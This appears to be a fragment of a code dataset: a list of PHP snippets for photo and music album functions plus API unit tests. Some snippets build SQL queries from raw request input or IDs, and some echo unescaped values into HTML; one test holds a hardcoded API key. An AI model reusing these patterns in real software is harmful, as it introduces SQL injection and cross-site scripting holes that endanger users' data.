prefix('albums'). $albumWhere);\n\tswitch($mode) {\n\t\tcase \"images\":\n\t\t\tif(count($albumids) == 0) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$imageWhere = \" WHERE \";\n\t\t\t\t$count = \"\";\n\t\t\t\tforeach($albumids as $albumid) {\n\t\t\t\t\t$count++;\n\t\t\t\t\t$imageWhere .= 'albumid='. $albumid['id'];\n\t\t\t\t\tif($count != count($albumids)) $imageWhere .= \" OR \";\n\t\t\t\t}\n\t\t\t}\n\t\t\t$imageids = query_full_array(\"SELECT id, albumid FROM \" . prefix('images').$imageWhere);\n\t\t\t// if the album has no direct images and $subalbums is set to false\n\t\t\tif(count($imageids) == 0) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$count = \"\";\n\t\t\t\t$tagWhere = \" WHERE \";\n\t\t\t\tforeach($imageids as $imageid) {\n\t\t\t\t\t$count++;\n\t\t\t\t\t$tagWhere .= '(o.objectid ='. $imageid['id'].\" AND o.tagid = t.id AND o.type = 'images')\";\n\t\t\t\t\tif($count != count($imageids)) $tagWhere .= \" OR \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(empty($tagWhere)) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$tags = query_full_array(\"SELECT DISTINCT t.name, t.id, (SELECT DISTINCT COUNT(*) FROM \". prefix('obj_to_tag'). \" WHERE tagid = t.id AND type = 'images') AS count FROM \". prefix('obj_to_tag'). \" AS o,\". prefix('tags'). \" AS t\".$tagWhere.\" ORDER BY t.name\");\n\t\t\t}\n\t\t\tbreak;\n\t\tcase \"albums\":\n\t\t\t$count = \"\";\n\t\t\tif(count($albumids) == 0) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$tagWhere = \" WHERE \";\n\t\t\t\tforeach($albumids as $albumid) {\n\t\t\t\t\t$count++;\n\t\t\t\t\t$tagWhere .= '(o.objectid ='. $albumid['id'].\" AND o.tagid = t.id AND o.type = 'albums')\";\n\t\t\t\t\tif($count != count($albumids)) $tagWhere .= \" OR \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(empty($tagWhere)) {\n\t\t\t\treturn FALSE;\n\t\t\t} else {\n\t\t\t\t$tags = query_full_array(\"SELECT DISTINCT t.name, t.id, (SELECT DISTINCT COUNT(*) FROM \". prefix('obj_to_tag'). \" WHERE tagid = t.id AND o.type = 'albums') AS count FROM \". prefix('obj_to_tag'). \" AS o,\". prefix('tags'). \" AS t\".$tagWhere.\" ORDER BY t.name\");\n\t\t\t}\n\t\t\tbreak;\n\t}\n\treturn $tags;\n}",
"public function index(Albums $album)\n {\n return SongsResource::collection($album->songs);\n }",
"function getAlbums($operator_id, $page_no = 1) {\n\t\treturn $this->getResponse ( $this->getXmlApi (), 'getAlbums', array ('operator_id' => $operator_id, 'page_no' => $page_no ) );\n\t}",
"function setup_album()\n {\n $this->ipsclass->DB->simple_construct( array( \"select\" => 'id, name, member_id, public_album', 'from' => 'gallery_albums', 'where' => \"id={$this->ipsclass->input['album']}\" ) );\n $this->ipsclass->DB->simple_exec(); \n $info = $this->ipsclass->DB->fetch_row();\n\n // Are we allowed to view this album?\n if( $info['member_id'] == $this->ipsclass->member['id'] )\n {\n $own = true;\n }\n\n if( ! $info['public_album'] && ! $own )\n {\n $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_permission' ) );\n }\n\n return $info;\n }",
"public function albums()\n {\n return $this\n ->hasMany('App\\Album', 'artist')\n ->selectRaw('*, albums.title as album_title, albums.slug as album_slug, count(songs.id) as song_total')\n ->leftJoin('songs', 'albums.id', '=', 'songs.album')\n ->orderBy('released', 'asc')\n ->groupBy('albums.id');\n }",
"public function test_get_all_manufacturers() {\n $manufacturers = Manufacturer::factory(10)->create();\n $response = $this->getJson('/api/manufacturers');\n\n $response\n ->assertStatus(200)\n ->assertJson([\n \"manufacturers\" => $manufacturers->toArray(),\n \"message\" => \"Manufacturers found\",\n ]);\n }",
"public function testRetrieveTheMediaObjectList(): void\n {\n $response = $this->request('GET', '/api/media_objects');\n $json = json_decode($response->getContent(), true);\n\n $this->assertEquals(200, $response->getStatusCode());\n $this->assertEquals('application/json; charset=utf-8', $response->headers->get('Content-Type'));\n\n $this->assertCount(10, $json);\n\n foreach ($json as $key => $value) {\n $this->assertArrayHasKey('id', $json[$key]);\n $this->assertArrayHasKey('fileName', $json[$key]);\n $this->assertArrayHasKey('mimeType', $json[$key]);\n $this->assertArrayHasKey('createdAt', $json[$key]);\n } \n }",
"function get_album() {\n $sql = \"SELECT * FROM album\";\n $res = $this->mysqli->query($sql);\n $data = array();\n while ($row = $res->fetch_array(MYSQLI_ASSOC)) {\n $data[] = $row;\n }\n return $data;\n }",
"function prepare_albums(?Collection $albums)\n\t{\n\n\t\t$return = array();\n\n\t\tif ($albums != null) {\n\t\t\t// For each album\n\t\t\tforeach ($albums as $album_model) {\n\n\t\t\t\t// Turn data from the database into a front-end friendly format\n\t\t\t\t$album = $album_model->prepareData();\n\t\t\t\t$album['albums'] = $album_model->get_albums();\n\n\t\t\t\t// Thumbs\n\t\t\t\tif ((!Session::get('login') && $album_model->password === null) ||\n\t\t\t\t\t(Session::get('login'))) {\n\n\t\t\t\t\t$album['sysstamp'] = $album_model['created_at'];\n\t\t\t\t\t$album = $album_model->gen_thumbs($album);\n\t\t\t\t}\n\n\t\t\t\t// Add to return\n\t\t\t\t$return[] = $album;\n\t\t\t}\n\t\t}\n\n\t\treturn $return;\n\t}",
"public function getAlbum($album_name) {\n $query = \"SELECT\n al.id,\n al.name,\n al.year,\n al.version,\n al.location,\n al.sport,\n al.event_type,\n al.manufacturer,\n al.url\n FROM \" . $this->__schema . \".album al\n WHERE al.name = \" . $this->db()->quote($album_name);\n $data = $this->db()->getRow($query);\n if ($data) {\n return [\n 'success' => TRUE,\n 'payload' => $data,\n ];\n }\n else {\n return [\n 'success' => FALSE,\n 'payload' => NULL,\n ];\n }\n }",
"public function _testMultipleInventories()\n {\n\n }",
"public function getListItems()\n {\n return $this->getAlbums();\n }",
"function albums_site_show_images($album) {\n\tglobal $lang;\n\n\tif (!file_exists(ALBUMS_DIR.'/'.$album))\n\t\techo '<p>'.$lang['albums']['doesnt_exist'].'</p>';\n\n\telse {\n\t\t$images = albums_get_images($album);\n\t\tif ($images != FALSE) {\n\t\t\tforeach ($images as $image) {\n\t\t\t\t?>\n\t\t\t\t<div class=\"album\">\n\t\t\t\t\t<table>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<a href=\"<?php echo SITE_URL; ?>/data/modules/albums/albums_getimage.php?image=<?php echo $album; ?>/<?php echo $image['filename_image']; ?>\" rel=\"lytebox[album]\" title=\"<?php echo $image['title']; ?>\">\n\t\t\t\t\t\t\t\t\t<img src=\"<?php echo SITE_URL; ?>/data/modules/albums/albums_getimage.php?image=<?php echo $album; ?>/thumb/<?php echo $image['filename_image']; ?>\" alt=\"<?php echo $image['title']; ?>\" title=\"<?php echo $image['title']; ?>\" />\n\t\t\t\t\t\t\t\t</a>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t<td>\n\t\t\t\t\t\t\t\t<span class=\"albuminfo\"><?php echo $image['title']; ?></span>\n\t\t\t\t\t\t\t\t<br />\n\t\t\t\t\t\t\t\t<i><?php echo $image['info']; ?></i>\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</div>\n\t\t\t<?php\n\t\t\t}\n\t\t\tunset($image);\n\t\t}\n\t}\n}",
"function getAllAlbums($typ) {\r\r\n\t$PView = new PView;\r\r\n\tglobal $tp;\r\r\n\t\r\r\n\t$details = $PView->getPView_config(\"gal_details\");\r\r\n\t$showDetails = explode(\"|\",$details);\r\r\n\t\r\r\n\tif ($typ == \"root\"){\r\r\n\t\t$AllAlbumData = $PView -> getRootAlbumData();\r\r\n\t} else {\r\r\n\t\tif (!$PView -> getSubAlbumsCount()) { return \"\"; }// exit if no subalbums\r\r\n\t\t$AllAlbumData = $PView -> getSubAlbumData();\t\r\r\n\t}\r\r\n\r\r\n\t$out_AllAlbums = \"<tr><td colspan='2' style='padding-top:5px;'><table style='width:100%'>\";\r\r\n\tforeach ($AllAlbumData as $dataset) {\r\r\n\t\t//PERMISSION!!!\r\r\n\t\tif ($PView -> getPermission(\"album\",$dataset['albumId'],\"View\")) {\r\r\n\t\t\t$out_AllAlbums .= \"<tr><td><div style='background-image:url(\".e_PLUGIN.\"pviewgallery/templates/\".$PView -> getPView_config(\"template\").\"/images/ringbuch_650.jpg); background-repeat:no-repeat; width:660px; height:400px;'>\";\r\r\n\t\t\t$out_AllAlbums .= \"<table style='width:550px;'><tr style='height:300px;'><td style='text-align:left;padding-top:30px; width:40%;'>\";\r\r\n\t\t\tif (array_search(\"name\",$showDetails) !== FALSE) {\r\r\n\t\t\t\t$out_AllAlbums .= \"<a href='pviewgallery.php?album=\".$dataset['albumId'].\"'>\". $tp -> toHTML($dataset['name']).\"</a>\";\r\r\n\t\t\t}\r\r\n\t\t\tif (array_search(\"descr\",$showDetails) !== FALSE) {\r\r\n\t\t\t\t$out_AllAlbums .= \"<br><br>\". $tp -> toHTML($dataset['description']);\r\r\n\t\t\t}\r\r\n\t\t\t$out_AllAlbums .= \"</td><td style='text-align:right;padding-top:30px;width:60%;'><a href='pviewgallery.php?album=\".$dataset['albumId'].\"'><img src='\".$PView -> getAlbumImage($dataset['albumId']).\"' border='0px'></a></td></tr>\";\r\r\n\t\t\t$out_AllAlbums .= \"<tr><td style='text-align:left;'>\";\r\r\n\t\t\tif (array_search(\"edit\",$showDetails) !== FALSE && $PView -> getPermission(\"album\",$dataset['albumId'],\"Edit\")) {\r\r\n\t\t\t\t$out_AllAlbums .= \"<a href='pview_actions.php?album=\".$dataset['albumId'].\"&action=edit'>\".LAN_ALBUM_7.\"</a>\";\r\r\n\t\t\t}\r\r\n\t\t\t$out_AllAlbums .= \"</td><td style='text-align:right;'>\";\r\r\n\t\t\tif (array_search(\"info\",$showDetails) !== FALSE) {\r\r\n\t\t\t\t$out_AllAlbums .= LAN_ALBUM_1.\": \".$PView -> getAlbumImageCount($dataset['albumId']).\" / \".LAN_ALBUM_2.\": \".$PView -> getSubAlbumsCount($dataset['albumId']);\r\r\n\t\t\t}\r\r\n\t\t\t$out_AllAlbums .\"</td></tr>\";\r\r\n\t\t\t$out_AllAlbums .= \"</table> \";\r\r\n\t\t\t$out_AllAlbums .= \"</div></td></tr>\";\r\r\n\t\t}\r\r\n\t}\r\r\n\t\r\r\n\t$out_AllAlbums .= \"</table></td></tr>\";\r\r\n\tif (!strip_tags($out_AllAlbums)) {\r\r\n\t$out_AllAlbums = \"<tr><td colspan='2' style='padding:10px;'>\".LAN_GALLERY_4.\"</td></tr>\";\r\r\n\t}\r\r\nreturn $out_AllAlbums;\r\r\n}",
"function getFacebookAlbums_neases($value = '', $limit = '500', $after = '') {\n $facebook = $this->facebook;\n $access_token = $facebook->getAccessToken();\n\n $params = array('access_token' => $access_token);\n\n if ($this->nowUserId == 0)\n {\n return\n array(\"data\" => array(\n array(\n 'id' => '1',\n 'name' => 'test album'\n )\n )\n );\n }\n\n $albums = $facebook->api('' . $this->nowUserId . '/albums?limit=100');\n\n $pics = array();\n foreach($albums['data'] as $album):\n $pic = $facebook->api('' . $album['id'] . '/picture?redirect=false');\n $pics[] = $pic['data']['url'];\n endforeach;\n\n $albums['cover'] = $pics;\n return $albums;\n }",
"public function testGetAllBooks()\n {\n //Given we have books in the database\n $book = factory('App\\Book')->create();\n $bookTwo = factory('App\\Book')->create();\n // When the user visits the index page\n $response = $this->get('/api/books');\n //They should see the books Titles and authors\n $response\n ->assertStatus(200) \n ->assertSee($book->title)\n ->assertSee($book->author)\n ->assertSee($bookTwo->title)\n ->assertSee($bookTwo->author);\n \n }",
"public function apiIndex()\n {\n $albums = PhotoManager::getAlbums();\n return json_encode($albums);\n }",
"function get_albums($mysqli, $albumIDs)\n{\n\t$keys = array(\n\t\t\"al.albumID\",\n\t\t\"al.album_code\",\n\t\t\"al.album_name\",\n\t\t\"ar.artist_name\",\n\t\t\"g.genre AS general_genre\",\n\t\t\"al.genre\",\n\t\t\"r.review\",\n\t\t\"u.preferred_name AS reviewer\"\n\t);\n\n\t$q = \"SELECT \" . implode(\",\", $keys) . \" FROM `libalbum` AS al \"\n\t\t. \"INNER JOIN `libartist` AS ar ON ar.artistID=al.artistID \"\n\t\t. \"INNER JOIN `def_general_genres` AS g ON g.general_genreID=al.general_genreID \"\n\t\t. \"INNER JOIN `libreview` AS r ON r.albumID=al.albumID \"\n\t\t. \"INNER JOIN `users` AS u ON u.username=r.username \"\n\t\t. \"WHERE al.albumID IN ('\" . implode(\"', '\", $albumIDs) . \"')\";\n\t$result = exec_query($mysqli, $q);\n\n\t$albums = array();\n\twhile ( ($a = $result->fetch_assoc()) ) {\n\t\t$q = \"SELECT disc_num, track_num, track_name, airabilityID FROM `libtrack` \"\n\t\t\t. \"WHERE albumID = '$a[albumID]';\";\n\t\t$result_tracks = exec_query($mysqli, $q);\n\n\t\t$a[\"tracks\"] = array();\n\t\twhile ( ($t = $result_tracks->fetch_assoc()) ) {\n\t\t\t$a[\"tracks\"][] = $t;\n\t\t}\n\n\t\t$albums[] = $a;\n\t}\n\n\treturn $albums;\n}",
"public function testAll()\n\t\t{\n\t\t\tlist ($categoriesBefore) = $this->category->all(array ('nameContains' => 'Top Category'));\n\t\t\tforeach ($categoriesBefore as $categoryBefore) {\n\t\t\t\t$categoryBefore->delete();\n\t\t\t}\n\t\t\t\n\t\t\tfor ($i = 1; $i <= 3; $i++) {\n\t\t\t\t$this->category->create(\n\t\t\t\t\tarray (\n\t\t\t\t\t\t'categoryName' => array ('en' => \"Top Category $i\"),\n\t\t\t\t\t\t'categoryImage' => \"topcategory$i.jpg\"\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\t\t\t\n\t\t\tlist ($categories, $count) = $this->category->all(array (\n\t\t\t\t'nameContains' => 'Top Category',\n\t\t\t\t'limit' => 2,\n\t\t\t\t'offset' => 1,\n\t\t\t\t'fields' => 'categoryId,categoryName'\n\t\t\t));\n\t\t\t\n\t\t\t$this->assertEquals(3, $count);\n\t\t\t$this->assertEquals(2, count($categories));\n\t\t\t\n\t\t\tfor ($j = 1; $j <= 2; $j++) {\n\t\t\t\t$this->assertEquals('Top Category '.($j + 1), $categories[$j - 1]->name->EN);\n\t\t\t\t$this->assertTrue(!isset($categories[$j - 1]->image));\n\t\t\t}\n\t\t}",
"public function albumDeleteAll()\n {\n try {\n $this->solrController->delete_all_product();\n return \"All albums record are deleted successfully\";\n } catch (Exception $exception) {\n Log::error(\"Album album solr bulk upload error \" . $exception->getMessage());\n }\n }",
"public function testAlbumBelongsToManyPicture()\n {\n $this->assertInstanceOf('Illuminate\\Database\\Eloquent\\Collection', $this->album->pictures);\n }",
"public function testFindAll()\n {\n $this->assertCount(4, $this->appService->findAll());\n }",
"public static function getAlbumsForDropdown()\n\t{\n\t\treturn BackendModel::getDB()->getPairs('SELECT i.id, d.title FROM pictures_albums AS i\n\t\t\t\t\t\t\t\t\t\t\t\tINNER JOIN pictures_albums_data AS d ON d.album_id = i.id AND d.language = ?', BackendLanguage::getInterfaceLanguage());\n\t}",
"public function getAlbums($id = null, $params)\n {\n\t\t\n\t\t//Lets do a check to see if we have data. If not, then load albums.\n\t\t$sql = \"SELECT count(*) AS total FROM albums\";\n $result = $this->db->query($sql);\n $total = $result->fetch(PDO::FETCH_ASSOC);\n \n if($total['total'] == 0) {\n\t\t\t$this->loadAlbums();\n\t\t}\n \n $where = '';\n if($id !== null) {\n\t\t\t$where = 'WHERE album_id = '. $this->db->quote($id);\n\t\t}\n \n if(isset($params['order_col'])) {\n\t\t\tswitch($params['order_dir']) {\n\t\t\t\tcase 'asc':\n\t\t\t\tcase 'ascending':\n\t\t\t\t $direction = 'asc';\n\t\t\t\t break;\n\t\t\t\tcase 'desc':\n\t\t\t\tcase 'descending':\n\t\t\t\tdefault:\n\t\t\t\t $direction = 'desc';\n\t\t\t}\n\t\t\t\n\t\t\t$order = 'ORDER BY '. $this->db->quote($params['order_col']) . ' '. $direction;\n\t\t} else {\n\t\t\t$order = 'ORDER BY rank';\n\t\t}\n\t\t\n\t\tif(isset($params['limit'])) {\n\t\t\t$limit = 'LIMIT '. intval($params['limit']);\n\t\t} else {\n\t\t\t$limit = '';\n\t\t}\n\t\t$sql = \"SELECT * FROM albums {$where} {$order} {$limit}\";\n \n $result = $this->db->query($sql);\n \n $results = [];\n\n while ($row = $result->fetch(PDO::FETCH_ASSOC)) {\n\t\t\t//Lets get album art.\n\t\t\t$row['art'] = $this->getAlbumArt($row['album_id']);\n\t\t\t\n\t\t\t//lets get category info as well\n\t\t\t$row['category'] = $this->getAlbumCategory($row['category_id']);\n\t\t\t\n $results[] = $row;\n }\n\n return $results;\n }",
"function albums_admin_show_albums() {\n\tglobal $lang;\n\t$albums = albums_get_albums();\n\n\tif ($albums == FALSE)\n\t\techo '<span class=\"kop4\">'.$lang['general']['nothing_yet'].'</span>';\n\n\telse {\n\t\tforeach ($albums as $album) {\n\t\t\t?>\n\t\t\t\t<div class=\"menudiv\">\n\t\t\t\t\t<span>\n\t\t\t\t\t\t<img src=\"<?php echo MODULE_DIR; ?>/images/albums.png\" alt=\"\" />\n\t\t\t\t\t</span>\n\t\t\t\t\t<span class=\"title-page\"><?php echo $album['title']; ?></span>\n\t\t\t\t\t<span>\n\t\t\t\t\t\t<a href=\"?module=albums&page=editalbum&var1=<?php echo $album['seoname']; ?>\">\n\t\t\t\t\t\t\t<img src=\"data/image/edit.png\" title=\"<?php echo $lang['albums']['edit_album']; ?>\" alt=\"<?php echo $lang['albums']['edit_album']; ?>\" />\n\t\t\t\t\t\t</a>\n\t\t\t\t\t</span>\n\t\t\t\t\t<span>\n\t\t\t\t\t\t<a href=\"?module=albums&page=deletealbum&var1=<?php echo $album['seoname']; ?>\">\n\t\t\t\t\t\t\t<img src=\"data/image/delete_from_trash.png\" title=\"<?php echo $lang['albums']['delete_album']; ?>\" alt=\"<?php echo $lang['albums']['delete_album']; ?>\" />\n\t\t\t\t\t\t</a>\n\t\t\t\t\t</span>\n\t\t\t\t</div>\n\t\t\t<?php\n\t\t}\n\t\tunset($albums);\n\t}\n}",
"public function testListCars(){\n $cars = Car::orderBy(\"created_at\", \"desc\")->with(\"type\", \"brand\", \"owner\")->get();\n $response = $this->json(\"GET\", \"/cars\");\n $response->assertJsonFragment($cars->first()->toArray());\n $response->assertStatus(200);\n }",
"public function testIndex() \n {\n $flickr = new flickr(\"0469684d0d4ff7bb544ccbb2b0e8c848\"); \n \n #check if search performed, otherwise default to 'sunset'\n $page=(isset($this->params['url']['p']))?$this->params['url']['p']:1;\n $search=(isset($this->params['url']['query']))?$this->params['url']['query']:'sunset';\n \n #execute search function\n $photos = $flickr->searchPhotos($search, $page);\n $pagination = $flickr->pagination($page,$photos['pages'],$search);\n \n echo $pagination;\n \n #ensure photo index in array\n $this->assertTrue(array_key_exists('photo', $photos)); \n \n #ensure 5 photos are returned\n $this->assertTrue(count($photos['photo'])==5); \n \n #ensure page, results + search in array\n $this->assertTrue(isset($photos['total'], $photos['displaying'], $photos['search'], $photos['pages']));\n \n #ensure pagination returns\n $this->assertTrue(substr_count($pagination, '<div class=\"pagination\">') > 0);\n \n #ensure pagination links\n $this->assertTrue(substr_count($pagination, '<a href') > 0);\n \n }",
"public function getAlbums(array $conditions = array(), array $fetchOptions = array())\n\t{\n\t\t$bind = array();\n\t\t\n\t\t$whereClause = $this->prepareAlbumConditions($conditions, $fetchOptions);\n\t\t\n\t\t$joinOptions = $this->prepareAlbumFetchOptions($fetchOptions, $conditions);\n\t\t$limitOptions = $this->prepareLimitFetchOptions($fetchOptions);\n\t\t$sqlClauses = $this->prepareAlbumFetchOptions($fetchOptions, $conditions);\n\n\t\t$albums = $this->fetchAllKeyed($this->limitQueryResults('\n\t\t\tSELECT album.*\n\t\t\t\t' . $joinOptions['selectFields'] . '\n\t\t\tFROM xengallery_album AS album\n\t\t\t\t' . $joinOptions['joinTables'] . '\n\t\t\t\tWHERE ' . $whereClause . '\n\t\t\t\t' . $sqlClauses['orderClause'] . '\t\t\t\n\t\t\t', $limitOptions['limit'], $limitOptions['offset']\n\t\t), 'album_id', $bind);\n\t\t\n\t\treturn $albums;\n\t}",
"function getallalbumsindb(&$album_array)\r\n{\r\n global $xoopsDB;\r\n\r\n $sql = \"SELECT aid, title \".\r\n \"FROM \".$xoopsDB->prefix(\"xcgal_albums\").\" \".\r\n \"WHERE 1\";\r\n $result = $xoopsDB->query($sql);\r\n\r\n while ($row = $xoopsDB->fetchArray($result)) {\r\n $album_array[$row['aid']]= $row['title'];\r\n }\r\n $xoopsDB->freeRecordSet($result);\r\n}",
"public function testListingWithFilters()\n {\n $filters[] = ['limit' => 30, 'page' => 30];\n $filters[] = ['listing_type' => 'public'];\n foreach ($filters as $k => $v) {\n $client = static::createClient();\n $client->request('GET', '/v2/story', $v, [], $this->headers);\n $this->assertStatusCode(200, $client);\n\n $response = json_decode($client->getResponse()->getContent(), true);\n $this->assertTrue(is_array($response));\n }\n }",
"public function getPhotoAlbums($iPage, $iLimit = 2) {\n \t$bIsUserProfile = false;\n \t\n \tif (defined('PHPFOX_IS_USER_PROFILE')) {\n \t\t$bIsUserProfile = true;\n \t\t$aUser = Phpfox::getService('user')->get($this->_aParams['user_id']); \t\t\t\n \t}\n \t\n \t$oLibSearch = Phpfox::getLib('search');\n \tPhpfox::getLib('request')->set('page', $iPage);\n \t\n \t\n $aBrowseParams = array(\n\t\t\t'module_id' => 'photo.album',\n\t\t\t'alias' => 'pa',\n\t\t\t'field' => 'album_id',\n\t\t\t'table' => Phpfox::getT('photo_album'),\n\t\t\t'hide_view' => array('pending', 'myalbums')\n\t\t);\t\t\n\t\t\n\t\t$oLibSearch->set(array(\n\t\t\t\t'type' => 'photo.album',\n\t\t\t\t'field' => 'pa.album_id',\t\t\t\t\n\t\t\t\t'search_tool' => array(\n\t\t\t\t\t'table_alias' => 'pa',\n\t\t\t\t\t'search' => array(\n\t\t\t\t\t\t'default_value' => Phpfox::getPhrase('photo.search_photo_albums'),\n\t\t\t\t\t\t'name' => 'search',\n\t\t\t\t\t\t'field' => 'pa.name'\n\t\t\t\t\t),\n\t\t\t\t\t'sort' => array(\n\t\t\t\t\t\t'latest' => array('pa.time_stamp', Phpfox::getPhrase('photo.latest')),\n\t\t\t\t\t\t'most-talked' => array('pa.total_comment', Phpfox::getPhrase('photo.most_discussed'))\n\t\t\t\t\t),\n\t\t\t\t\t'show' => array($iLimit)\n\t\t\t\t)\n\t\t\t)\n\t\t);\t\t\t\n\t\tif ($bIsUserProfile)\n\t\t{\n\t\t\t$oLibSearch->setCondition('AND pa.view_id ' . ($aUser['user_id'] == Phpfox::getUserId() ? 'IN(0,2)' : '= 0') . ' AND pa.privacy IN(' . (Phpfox::getParam('core.section_privacy_item_browsing') ? '%PRIVACY%' : Phpfox::getService('core')->getForBrowse($aUser)) . ') AND pa.user_id = ' . (int) $aUser['user_id']);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif ($this->request()->get('view') == 'myalbums')\n\t\t\t{\n\t\t\t\tPhpfox::isUser(true);\n\n\t\t\t\t$oLibSearch->setCondition('AND pa.user_id = ' . Phpfox::getUserId());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$oLibSearch->setCondition('AND pa.view_id = 0 AND pa.privacy IN(%PRIVACY%) AND pa.total_photo > 0');\n\t\t\t}\n\t\t}\n\t\t$aParentModule = $this->_aParams;\n \tif ($aParentModule !== null && !empty($aParentModule['item_id']))\n\t\t{\n\t\t\t$this->search()->setCondition('AND pa.module_id = \\'' . $aParentModule['module_id']. '\\' AND pa.group_id = ' . (int) $aParentModule['item_id']);\n\t\t}\n\t\t\n $oLibSearch->browse()->params($aBrowseParams)->execute();\n\t\t\n\t\t$aAlbums = $oLibSearch->browse()->getRows();\n\t\t$iCnt = $oLibSearch->browse()->getCount();\t\n\n\t\tforeach ($aAlbums as $iKey => $aAlbum) {\n\t\t\t$aAlbums[$iKey] = $this->processAlbum($aAlbum);\n\t\t}\n\n\t\tPhpfox::getLib('pager')->set(array('page' => $iPage, 'size' => $oLibSearch->getDisplay(), 'count' => $oLibSearch->browse()->getCount()));\n\t\t\n return array($iCnt, $aAlbums);\n }",
"function getAlbumsById($parameter) //récupère les infos de l'Album correspondant à l'album_id passé en paramètre\n\t\t{\n\t\t\t//$tabParameter = explode(\" \", $parameter);\n\t\t\t$request = \" albums 0 1000 album_id:$parameter tags:Itj\\n\";\n\t\t\t//echo \" contenu de request:$request\";\n\t\t\t$mySqueezeCLI = new SqueezeCLI($request);\n\t\t\t$response = $mySqueezeCLI->receiveCLI();\n\t\t\treturn $response;\n\t\t}",
"public function index()\n {\n $albums = Album::with('photos')->get();\n return AlbumsResource::collection($albums);\n }",
"public function albums(){\n $albums = Album::all();\n return view('admin.albums')->with('albums', $albums);\n }",
"public function testGetAll()\n {\n $response = $this->get('/api/Product/GetAll/');\n\n $response->assertStatus(200);\n $response->assertJsonStructure(['data' =>\n [\n '*' =>[\n 'name'\n ]\n ],\n ]);\n\n }",
"public function test_get_all_books()\n {\n $randomBook = Book::factory()->create();\n $response = $this->getJson('/api/v1/books');\n $response\n ->assertStatus(200)\n ->assertJson([\n \"status_code\" => 200,\n \"status\" => \"success\",\n \"data\" => [\n [\n \"id\" => $randomBook->id,\n \"name\" => $randomBook->name,\n \"isbn\" => $randomBook->isbn,\n \"authors\" => $randomBook->authors,\n \"number_of_pages\" => $randomBook->number_of_pages,\n \"publisher\" => $randomBook->publisher,\n \"country\" => $randomBook->country,\n \"release_date\" => $randomBook->release_date,\n ],\n ]\n ]);\n }",
"public function testGetAllCategories()\n {\n $company1= factory(\\App\\Src\\Company\\Company::class, 1)->create(['name_en'=>uniqid()]);\n $company2= factory(\\App\\Src\\Company\\Company::class, 1)->create(['name_en'=>uniqid()]);\n\n $category1 = factory(\\App\\Src\\Category\\Category::class, 1)->create(['name_en'=>uniqid()]);\n $category1->companies()->sync([$company1->id]);\n\n $category2 = factory(App\\Src\\Category\\Category::class,1)->create(['name_en'=>uniqid()]);\n\n $this->get('/api/v1/categories')\n ->seeJsonContains(['name_en'=>$category1->name,'name_en'=>$category2->name,'name_en'=>$company1->name])\n ->dontSeeJson(['name_en'=>$company2->name])\n ;\n\n }",
"public function getAllThePhotosAccordingTolAlbum($offset,$photo_per_page,$albumId){\n\t\t try{\n\t\t\t $conn=DBConnection::GetConnection();\n\t\t\t $myQuery=\"SELECT photo FROM photo WHERE album_id='\".$albumId.\"' LIMIT $offset,$photo_per_page\";\n\t\t\t $result=$conn->query($myQuery);\n\t\t\t foreach($result as $image){\n\t\t\t\t array_push($this->photos,$image['photo']);\n\t\t\t }\n\t\t\t $conn=null;\n\t\t\t return $this->photos;\n\t\t }catch(PDOException $p){\n\t\t\t echo 'Fail to connect';\n\t\t\t echo $p->getMessage();\n\t\t }\n\t }",
"function testFindAppearsOn() {\n\t\t$result = $this->Album->find('appearsOn', array('limit' => 1, 'order' => 'release_date ASC'));\n\n\t\t$this->assertNotEmpty($result);\n\t\t$this->assertEquals($result[0]['Album']['title'], 'Knifetank (The Albumhole)');\n\t}",
"public function testFindAllByName()\n {\n $this->assertCount(2, $this->appService->findAllByName('api'));\n }",
"public function getAlbumInfoAction()\n {\n \t$params = $this->getRequest()->getParams();\n\n \t$result = \\Extended\\socialise_album::getSocialiseAlbumInfo( $params['album_id'] );\n \n \tif( $result ):\n \techo Zend_Json::encode( $result );\n \telse:\n \t//Wallpost doesnot exist anymore.\n \techo Zend_Json::encode( 2 );\n \tendif;\n \tdie;\n }",
"public function getArtistWithAlbum()\n {\n return $this\n ->selectRaw('artists.id, artists.name, avatar, artists.slug, title, cover, count(*) as album_total')\n ->leftJoin('albums', 'artists.id', '=', 'albums.artist')\n ->groupBy('artists.id')\n ->orderBy('artists.name', 'asc')\n ->paginate(15);\n }",
"public function getAlbumById($album_id) {\n $query = \"SELECT\n al.id,\n al.name,\n al.year,\n al.version,\n al.location,\n al.sport,\n al.event_type,\n al.manufacturer,\n al.url\n FROM \" . $this->__schema . \".album al\n WHERE al.id = \" . $this->db()->quote($album_id);\n $data = $this->db()->getRow($query);\n if ($data) {\n return [\n 'success' => TRUE,\n 'payload' => $data,\n ];\n }\n else {\n return [\n 'success' => FALSE,\n 'payload' => NULL,\n ];\n }\n }",
"public function testIndexActionHasExpectedData()\n {\n $this->dispatch('/index');\n $this->assertQueryContentContains('h1', 'My Albums');\n\n // At this point, i'd like to do a basic listing count of items.\n // However, we're not using a seperate test db with controlled seeds.\n // $this->assertQueryCount('table tr', 6);\n }",
"public function testAll()\n {\n $this->assertEquals(['foo' => 'bar'], $this->container->all());\n }",
